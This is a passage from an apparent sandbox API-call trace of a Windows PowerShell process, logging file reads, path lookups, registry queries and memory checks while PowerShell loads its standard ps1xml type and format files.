lpNumberOfBytesRead=0xed308*=0xcf3, lpOverlapped=0x0) returned 1 [0087.035] ReadFile (in: hFile=0x334, lpBuffer=0x2d5fa6b, nNumberOfBytesToRead=0x30d, lpNumberOfBytesRead=0xed308, lpOverlapped=0x0 | out: lpBuffer=0x2d5fa6b*, lpNumberOfBytesRead=0xed308*=0x0, lpOverlapped=0x0) returned 1 [0087.035] ReadFile (in: hFile=0x334, lpBuffer=0x2d60610, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xed308, lpOverlapped=0x0 | out: lpBuffer=0x2d60610*, lpNumberOfBytesRead=0xed308*=0x0, lpOverlapped=0x0) returned 1 [0087.037] CloseHandle (hObject=0x334) returned 1 [0087.043] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", nBufferLength=0x105, lpBuffer=0xed020, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", lpFilePart=0x0) returned 0x40 [0087.044] SetErrorMode (uMode=0x1) returned 0x1 [0087.045] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\getevent.types.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0xed280 | out: lpFileInformation=0xed280*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67d6d2bb, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67d6d2bb, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe8e83beb, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x3cf3)) returned 1 [0087.045] SetErrorMode (uMode=0x1) returned 0x1 [0087.047] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", nBufferLength=0x105, lpBuffer=0xecfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", lpFilePart=0x0) returned 0x40 [0087.047] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0xed368 | out: phkResult=0xed368*=0x334) returned 0x0 [0087.048] RegQueryValueExW (in: hKey=0x334, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0xed2ec, lpData=0x0, lpcbData=0xed2e8*=0x0 | out: lpType=0xed2ec*=0x1, lpData=0x0, lpcbData=0xed2e8*=0x56) returned 0x0 [0087.048] CoTaskMemAlloc (cb=0x5a) returned 0x1b3ce370 [0087.048] RegQueryValueExW (in: hKey=0x334, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0xed2bc, lpData=0x1b3ce370, lpcbData=0xed2b8*=0x56 | out: lpType=0xed2bc*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0xed2b8*=0x56) returned 0x0 [0087.048] RegCloseKey (hKey=0x334) returned 0x0 [0087.048] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", nBufferLength=0x105, lpBuffer=0xecfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", lpFilePart=0x0) returned 0x40 [0087.048] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", nBufferLength=0x105, lpBuffer=0xece60, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\GetEvent.types.ps1xml", lpFilePart=0x0) returned 0x40 [0087.216] GetSystemInfo (in: lpSystemInfo=0xebfa0 | out: lpSystemInfo=0xebfa0*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7fffffeffff, dwActiveProcessorMask=0x3, dwNumberOfProcessors=0x2, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0087.217] VirtualQuery (in: lpAddress=0xec050, lpBuffer=0xecf10, dwLength=0x30 | out: lpBuffer=0xecf10*(BaseAddress=0xec000, AllocationBase=0x70000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0087.278] SetErrorMode (uMode=0x1) returned 0x1 [0087.286] ReadFile (in: hFile=0x334, lpBuffer=0x2dc77d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xed308, lpOverlapped=0x0 | out: lpBuffer=0x2dc77d0*, lpNumberOfBytesRead=0xed308*=0x1000, lpOverlapped=0x0) returned 1 [0087.288] ReadFile (in: hFile=0x334, lpBuffer=0x2dc77d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xed308, lpOverlapped=0x0 | out: lpBuffer=0x2dc77d0*, lpNumberOfBytesRead=0xed308*=0x1000, lpOverlapped=0x0) returned 1 [0087.288] ReadFile (in: hFile=0x334, lpBuffer=0x2dc77d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xed308, lpOverlapped=0x0 | out: lpBuffer=0x2dc77d0*, lpNumberOfBytesRead=0xed308*=0x1000, lpOverlapped=0x0) returned 1 [0087.288] ReadFile (in: hFile=0x334, lpBuffer=0x2dc77d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xed308, lpOverlapped=0x0 | out: lpBuffer=0x2dc77d0*, lpNumberOfBytesRead=0xed308*=0x1000, lpOverlapped=0x0) returned 1 [0087.314] ReadFile (in: hFile=0x334, lpBuffer=0x2c318d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xed308, lpOverlapped=0x0 | out: lpBuffer=0x2c318d0*, lpNumberOfBytesRead=0xed308*=0x1000, lpOverlapped=0x0) returned 1 [0087.314] ReadFile (in: hFile=0x334, lpBuffer=0x2c318d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xed308, lpOverlapped=0x0 | out: lpBuffer=0x2c318d0*, lpNumberOfBytesRead=0xed308*=0x1000, lpOverlapped=0x0) returned 1 [0087.314] ReadFile (in: hFile=0x334, lpBuffer=0x2c318d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xed308, lpOverlapped=0x0 | out: lpBuffer=0x2c318d0*, lpNumberOfBytesRead=0xed308*=0x1000, lpOverlapped=0x0) returned 1 [0087.314] ReadFile (in: hFile=0x334, lpBuffer=0x2c318d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xed308, lpOverlapped=0x0 | out: lpBuffer=0x2c318d0*, lpNumberOfBytesRead=0xed308*=0x1000, lpOverlapped=0x0) returned 1 [0087.315] ReadFile (in: hFile=0x334, lpBuffer=0x2c318d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xed308, lpOverlapped=0x0 | out: lpBuffer=0x2c318d0*, lpNumberOfBytesRead=0xed308*=0x1000, lpOverlapped=0x0) returned 1 [0087.315] ReadFile (in: hFile=0x334, lpBuffer=0x2c318d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xed308, lpOverlapped=0x0 | out: lpBuffer=0x2c318d0*, lpNumberOfBytesRead=0xed308*=0x1000, lpOverlapped=0x0) returned 1 [0087.315] ReadFile (in: hFile=0x334, lpBuffer=0x2c318d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xed308, lpOverlapped=0x0 | out: lpBuffer=0x2c318d0*, lpNumberOfBytesRead=0xed308*=0x1000, lpOverlapped=0x0) returned 1 [0087.315] ReadFile (in: hFile=0x334, lpBuffer=0x2c318d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xed308, lpOverlapped=0x0 | out: lpBuffer=0x2c318d0*, lpNumberOfBytesRead=0xed308*=0x1000, lpOverlapped=0x0) returned 1 [0087.315] ReadFile (in: hFile=0x334, lpBuffer=0x2c318d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xed308, lpOverlapped=0x0 | out: lpBuffer=0x2c318d0*, lpNumberOfBytesRead=0xed308*=0x1000, lpOverlapped=0x0) returned 1 [0087.316] ReadFile (in: hFile=0x334, lpBuffer=0x2c318d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xed308, lpOverlapped=0x0 | out: lpBuffer=0x2c318d0*, lpNumberOfBytesRead=0xed308*=0x1000, lpOverlapped=0x0) returned 1 [0087.316] ReadFile (in: hFile=0x334, lpBuffer=0x2c318d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xed308, lpOverlapped=0x0 | out: lpBuffer=0x2c318d0*, lpNumberOfBytesRead=0xed308*=0x1000, lpOverlapped=0x0) returned 1 [0087.337] ReadFile (in: hFile=0x334, lpBuffer=0x2c318d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xed308, lpOverlapped=0x0 | out: lpBuffer=0x2c318d0*, lpNumberOfBytesRead=0xed308*=0x1000, lpOverlapped=0x0) returned 1 [0087.340] ReadFile (in: hFile=0x334, lpBuffer=0x2c318d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xed308, lpOverlapped=0x0 | out: lpBuffer=0x2c318d0*, lpNumberOfBytesRead=0xed308*=0x1000, lpOverlapped=0x0) returned 1 [0087.340] ReadFile (in: hFile=0x334, lpBuffer=0x2c318d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xed308, lpOverlapped=0x0 | out: lpBuffer=0x2c318d0*, lpNumberOfBytesRead=0xed308*=0x1000, lpOverlapped=0x0) returned 1 [0087.340] ReadFile (in: hFile=0x334, lpBuffer=0x2c318d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xed308, lpOverlapped=0x0 | out: lpBuffer=0x2c318d0*, lpNumberOfBytesRead=0xed308*=0x1000, lpOverlapped=0x0) returned 1 [0087.340] ReadFile (in: hFile=0x334, lpBuffer=0x2c318d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xed308, lpOverlapped=0x0 | out: lpBuffer=0x2c318d0*, lpNumberOfBytesRead=0xed308*=0x1000, lpOverlapped=0x0) returned 1 [0087.341] ReadFile (in: hFile=0x334, lpBuffer=0x2c318d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xed308, lpOverlapped=0x0 | out: lpBuffer=0x2c318d0*, lpNumberOfBytesRead=0xed308*=0x1000, lpOverlapped=0x0) returned 1 [0087.341] ReadFile (in: hFile=0x334, lpBuffer=0x2c318d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xed308, lpOverlapped=0x0 | out: lpBuffer=0x2c318d0*, lpNumberOfBytesRead=0xed308*=0x1000, lpOverlapped=0x0) returned 1 [0087.341] ReadFile (in: hFile=0x334, lpBuffer=0x2c318d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xed308, lpOverlapped=0x0 | out: lpBuffer=0x2c318d0*, lpNumberOfBytesRead=0xed308*=0x1000, lpOverlapped=0x0) returned 1 [0087.341] ReadFile (in: hFile=0x334, lpBuffer=0x2c318d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xed308, lpOverlapped=0x0 | out: lpBuffer=0x2c318d0*, lpNumberOfBytesRead=0xed308*=0x1000, lpOverlapped=0x0) returned 1 [0087.341] ReadFile (in: hFile=0x334, lpBuffer=0x2c318d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xed308, lpOverlapped=0x0 | out: lpBuffer=0x2c318d0*, lpNumberOfBytesRead=0xed308*=0x1000, lpOverlapped=0x0) returned 1 [0087.341] ReadFile (in: hFile=0x334, lpBuffer=0x2c318d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xed308, lpOverlapped=0x0 | out: lpBuffer=0x2c318d0*, lpNumberOfBytesRead=0xed308*=0x1000, lpOverlapped=0x0) returned 1 [0087.342] ReadFile (in: hFile=0x334, lpBuffer=0x2c318d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xed308, lpOverlapped=0x0 | out: lpBuffer=0x2c318d0*, lpNumberOfBytesRead=0xed308*=0x1000, lpOverlapped=0x0) returned 1 [0087.342] ReadFile (in: hFile=0x334, lpBuffer=0x2c318d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xed308, lpOverlapped=0x0 | out: lpBuffer=0x2c318d0*, lpNumberOfBytesRead=0xed308*=0x1000, lpOverlapped=0x0) returned 1 [0087.342] ReadFile (in: hFile=0x334, lpBuffer=0x2c318d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xed308, lpOverlapped=0x0 | out: lpBuffer=0x2c318d0*, lpNumberOfBytesRead=0xed308*=0x1000, lpOverlapped=0x0) returned 1 [0087.342] ReadFile (in: hFile=0x334, lpBuffer=0x2c318d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xed308, lpOverlapped=0x0 | out: lpBuffer=0x2c318d0*, lpNumberOfBytesRead=0xed308*=0x1000, lpOverlapped=0x0) returned 1 [0087.342] ReadFile (in: hFile=0x334, lpBuffer=0x2c318d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xed308, lpOverlapped=0x0 | out: lpBuffer=0x2c318d0*, lpNumberOfBytesRead=0xed308*=0x1000, lpOverlapped=0x0) returned 1 [0087.342] ReadFile (in: hFile=0x334, lpBuffer=0x2c318d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xed308, lpOverlapped=0x0 | out: lpBuffer=0x2c318d0*, lpNumberOfBytesRead=0xed308*=0x1000, lpOverlapped=0x0) returned 1 [0087.344] ReadFile (in: hFile=0x334, lpBuffer=0x2c318d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xed308, lpOverlapped=0x0 | out: lpBuffer=0x2c318d0*, lpNumberOfBytesRead=0xed308*=0x1000, lpOverlapped=0x0) returned 1 [0087.344] ReadFile (in: hFile=0x334, lpBuffer=0x2c318d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xed308, lpOverlapped=0x0 | out: lpBuffer=0x2c318d0*, lpNumberOfBytesRead=0xed308*=0x1000, lpOverlapped=0x0) returned 1 [0087.344] ReadFile (in: hFile=0x334, lpBuffer=0x2c318d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xed308, lpOverlapped=0x0 | out: lpBuffer=0x2c318d0*, lpNumberOfBytesRead=0xed308*=0x1000, lpOverlapped=0x0) returned 1 [0087.345] ReadFile (in: hFile=0x334, lpBuffer=0x2c318d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xed308, lpOverlapped=0x0 | out: lpBuffer=0x2c318d0*, lpNumberOfBytesRead=0xed308*=0x1000, lpOverlapped=0x0) returned 1 [0087.345] ReadFile (in: hFile=0x334, lpBuffer=0x2c318d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xed308, lpOverlapped=0x0 | out: lpBuffer=0x2c318d0*, lpNumberOfBytesRead=0xed308*=0x1000, lpOverlapped=0x0) returned 1 [0087.345] ReadFile (in: hFile=0x334, lpBuffer=0x2c318d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xed308, lpOverlapped=0x0 | out: lpBuffer=0x2c318d0*, lpNumberOfBytesRead=0xed308*=0x1000, lpOverlapped=0x0) returned 1 [0087.345] ReadFile (in: hFile=0x334, lpBuffer=0x2c318d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xed308, lpOverlapped=0x0 | out: lpBuffer=0x2c318d0*, lpNumberOfBytesRead=0xed308*=0x1000, lpOverlapped=0x0) returned 1 [0087.345] ReadFile (in: hFile=0x334, lpBuffer=0x2c318d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xed308, lpOverlapped=0x0 | out: lpBuffer=0x2c318d0*, lpNumberOfBytesRead=0xed308*=0x1000, lpOverlapped=0x0) returned 1 [0087.345] ReadFile (in: hFile=0x334, lpBuffer=0x2c318d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xed308, lpOverlapped=0x0 | out: lpBuffer=0x2c318d0*, lpNumberOfBytesRead=0xed308*=0x1b4, lpOverlapped=0x0) returned 1 [0087.346] ReadFile (in: hFile=0x334, lpBuffer=0x2c318d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xed308, lpOverlapped=0x0 | out: lpBuffer=0x2c318d0*, lpNumberOfBytesRead=0xed308*=0x0, lpOverlapped=0x0) returned 1 [0087.346] CloseHandle (hObject=0x334) returned 1 [0087.346] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml", nBufferLength=0x105, lpBuffer=0xed020, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml", lpFilePart=0x0) returned 0x37 [0087.346] SetErrorMode (uMode=0x1) returned 0x1 [0087.346] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\types.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0xed280 | out: lpFileInformation=0xed280*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe968c5bf, ftCreationTime.dwHighDateTime=0x1c9ea0b, ftLastAccessTime.dwLowDateTime=0xe968c5bf, ftLastAccessTime.dwHighDateTime=0x1c9ea0b, ftLastWriteTime.dwLowDateTime=0xe968c5bf, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x291b4)) returned 1 [0087.346] SetErrorMode (uMode=0x1) returned 0x1 [0087.346] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml", nBufferLength=0x105, lpBuffer=0xecfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml", lpFilePart=0x0) returned 0x37 [0087.346] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0xed368 | out: phkResult=0xed368*=0x334) returned 0x0 [0087.346] RegQueryValueExW (in: hKey=0x334, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0xed2ec, lpData=0x0, lpcbData=0xed2e8*=0x0 | out: lpType=0xed2ec*=0x1, lpData=0x0, lpcbData=0xed2e8*=0x56) returned 0x0 [0087.346] CoTaskMemAlloc (cb=0x5a) returned 0x34c5c0 [0087.346] RegQueryValueExW (in: hKey=0x334, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0xed2bc, lpData=0x34c5c0, lpcbData=0xed2b8*=0x56 | out: lpType=0xed2bc*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0xed2b8*=0x56) returned 0x0 [0087.347] CoTaskMemFree (pv=0x34c5c0) [0087.347] RegCloseKey (hKey=0x334) returned 0x0 [0087.347] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml", nBufferLength=0x105, lpBuffer=0xecfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml", lpFilePart=0x0) returned 0x37 [0087.347] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml", nBufferLength=0x105, lpBuffer=0xece60, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\types.ps1xml", lpFilePart=0x0) returned 0x37 [0088.294] VirtualQuery (in: lpAddress=0xec050, lpBuffer=0xecf10, dwLength=0x30 | out: lpBuffer=0xecf10*(BaseAddress=0xec000, AllocationBase=0x70000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0088.507] VirtualQuery (in: lpAddress=0xec050, lpBuffer=0xecf10, dwLength=0x30 | out: lpBuffer=0xecf10*(BaseAddress=0xec000, AllocationBase=0x70000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0088.508] VirtualQuery (in: lpAddress=0xec050, lpBuffer=0xecf10, dwLength=0x30 | out: lpBuffer=0xecf10*(BaseAddress=0xec000, AllocationBase=0x70000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0088.508] VirtualQuery (in: lpAddress=0xec050, lpBuffer=0xecf10, dwLength=0x30 | out: lpBuffer=0xecf10*(BaseAddress=0xec000, AllocationBase=0x70000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0088.509] VirtualQuery (in: lpAddress=0xec050, lpBuffer=0xecf10, dwLength=0x30 | out: lpBuffer=0xecf10*(BaseAddress=0xec000, AllocationBase=0x70000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0088.509] VirtualQuery (in: lpAddress=0xec050, lpBuffer=0xecf10, dwLength=0x30 | out: lpBuffer=0xecf10*(BaseAddress=0xec000, AllocationBase=0x70000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0088.510] VirtualQuery (in: lpAddress=0xec050, lpBuffer=0xecf10, dwLength=0x30 | out: lpBuffer=0xecf10*(BaseAddress=0xec000, AllocationBase=0x70000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0088.675] CoTaskMemAlloc (cb=0x104) returned 0x298790 [0088.675] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x298790, nSize=0x80 | out: lpBuffer="") returned 0x0 [0088.675] CoTaskMemFree (pv=0x298790) [0088.700] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\Microsoft.PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0xed508 | out: phkResult=0xed508*=0x330) returned 0x0 [0088.700] RegQueryValueExW (in: hKey=0x330, lpValueName="path", lpReserved=0x0, lpType=0xed51c, lpData=0x0, lpcbData=0xed518*=0x0 | out: lpType=0xed51c*=0x1, lpData=0x0, lpcbData=0xed518*=0x74) returned 0x0 [0088.700] RegQueryValueExW (in: hKey=0x330, lpValueName="path", lpReserved=0x0, lpType=0xed48c, lpData=0x0, lpcbData=0xed488*=0x0 | out: lpType=0xed48c*=0x1, lpData=0x0, lpcbData=0xed488*=0x74) returned 0x0 [0088.700] CoTaskMemAlloc (cb=0x78) returned 0x1b3c1fb0 [0088.700] RegQueryValueExW (in: hKey=0x330, lpValueName="path", lpReserved=0x0, lpType=0xed45c, lpData=0x1b3c1fb0, lpcbData=0xed458*=0x74 | out: lpType=0xed45c*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", lpcbData=0xed458*=0x74) returned 0x0 [0088.709] CoTaskMemAlloc (cb=0x104) returned 0x298790 [0088.709] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x298790, nSize=0x80 | out: lpBuffer="") returned 0x0 [0088.714] CoTaskMemAlloc (cb=0x104) returned 0x298790 [0088.714] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x298790, nSize=0x80 | out: lpBuffer="") returned 0x0 [0088.715] CoTaskMemFree (pv=0x298790) [0088.715] CoTaskMemAlloc (cb=0x104) returned 0x298790 [0088.715] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x298790, nSize=0x80 | out: lpBuffer="") returned 0x0 [0088.715] CoTaskMemFree (pv=0x298790) [0088.716] CoTaskMemAlloc (cb=0x104) returned 0x298790 [0088.716] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x298790, nSize=0x80 | out: lpBuffer="") returned 0x0 [0088.716] CoTaskMemFree (pv=0x298790) [0088.717] SetErrorMode (uMode=0x1) returned 0x1 [0088.732] ReadFile (in: hFile=0x308, lpBuffer=0x32d7bb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xed078, lpOverlapped=0x0 | out: lpBuffer=0x32d7bb0*, lpNumberOfBytesRead=0xed078*=0x1000, lpOverlapped=0x0) returned 1 [0088.733] ReadFile (in: hFile=0x308, lpBuffer=0x32d7bb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xed078, lpOverlapped=0x0 | out: lpBuffer=0x32d7bb0*, lpNumberOfBytesRead=0xed078*=0x1000, lpOverlapped=0x0) returned 1 [0088.733] ReadFile (in: hFile=0x308, lpBuffer=0x32d7bb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xed078, lpOverlapped=0x0 | out: lpBuffer=0x32d7bb0*, lpNumberOfBytesRead=0xed078*=0x1000, lpOverlapped=0x0) returned 1 [0088.733] ReadFile (in: hFile=0x308, lpBuffer=0x32d7bb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xed078, lpOverlapped=0x0 | out: lpBuffer=0x32d7bb0*, lpNumberOfBytesRead=0xed078*=0x1000, lpOverlapped=0x0) returned 1 [0088.733] ReadFile (in: hFile=0x308, lpBuffer=0x32d7bb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xed078, lpOverlapped=0x0 | out: lpBuffer=0x32d7bb0*, lpNumberOfBytesRead=0xed078*=0x1000, lpOverlapped=0x0) returned 1 [0088.733] ReadFile (in: hFile=0x308, lpBuffer=0x32d7bb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xed078, lpOverlapped=0x0 | out: lpBuffer=0x32d7bb0*, lpNumberOfBytesRead=0xed078*=0x9e2, lpOverlapped=0x0) returned 1 [0088.733] ReadFile (in: hFile=0x308, lpBuffer=0x32d70fa, nNumberOfBytesToRead=0x21e, lpNumberOfBytesRead=0xed078, lpOverlapped=0x0 | out: lpBuffer=0x32d70fa*, lpNumberOfBytesRead=0xed078*=0x0, lpOverlapped=0x0) returned 1 [0088.733] ReadFile (in: hFile=0x308, lpBuffer=0x32d7bb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xed078, lpOverlapped=0x0 | out: lpBuffer=0x32d7bb0*, lpNumberOfBytesRead=0xed078*=0x0, lpOverlapped=0x0) returned 1 [0088.734] CloseHandle (hObject=0x308) returned 1 [0088.734] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", nBufferLength=0x105, lpBuffer=0xecdc0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", lpFilePart=0x0) returned 0x44 [0088.734] SetErrorMode (uMode=0x1) returned 0x1 [0088.734] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\diagnostics.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0xed020 | out: lpFileInformation=0xed020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67d93418, ftCreationTime.dwHighDateTime=0x1ca03f8, ftLastAccessTime.dwLowDateTime=0x67d93418, ftLastAccessTime.dwHighDateTime=0x1ca03f8, ftLastWriteTime.dwLowDateTime=0xe5e03e37, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x69e2)) returned 1 [0088.734] SetErrorMode (uMode=0x1) returned 0x1 [0088.734] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", nBufferLength=0x105, lpBuffer=0xecd50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Diagnostics.Format.ps1xml", lpFilePart=0x0) returned 0x44 [0088.734] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0xed108 | out: phkResult=0xed108*=0x308) returned 0x0 [0088.734] RegQueryValueExW (in: hKey=0x308, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0xed08c, lpData=0x0, lpcbData=0xed088*=0x0 | out: lpType=0xed08c*=0x1, lpData=0x0, lpcbData=0xed088*=0x56) returned 0x0 [0088.734] CoTaskMemAlloc (cb=0x5a) returned 0x1b3cdff0 [0088.734] RegQueryValueExW (in: hKey=0x308, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0xed05c, lpData=0x1b3cdff0, lpcbData=0xed058*=0x56 | out: lpType=0xed05c*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0xed058*=0x56) returned 0x0 [0088.735] CoTaskMemFree 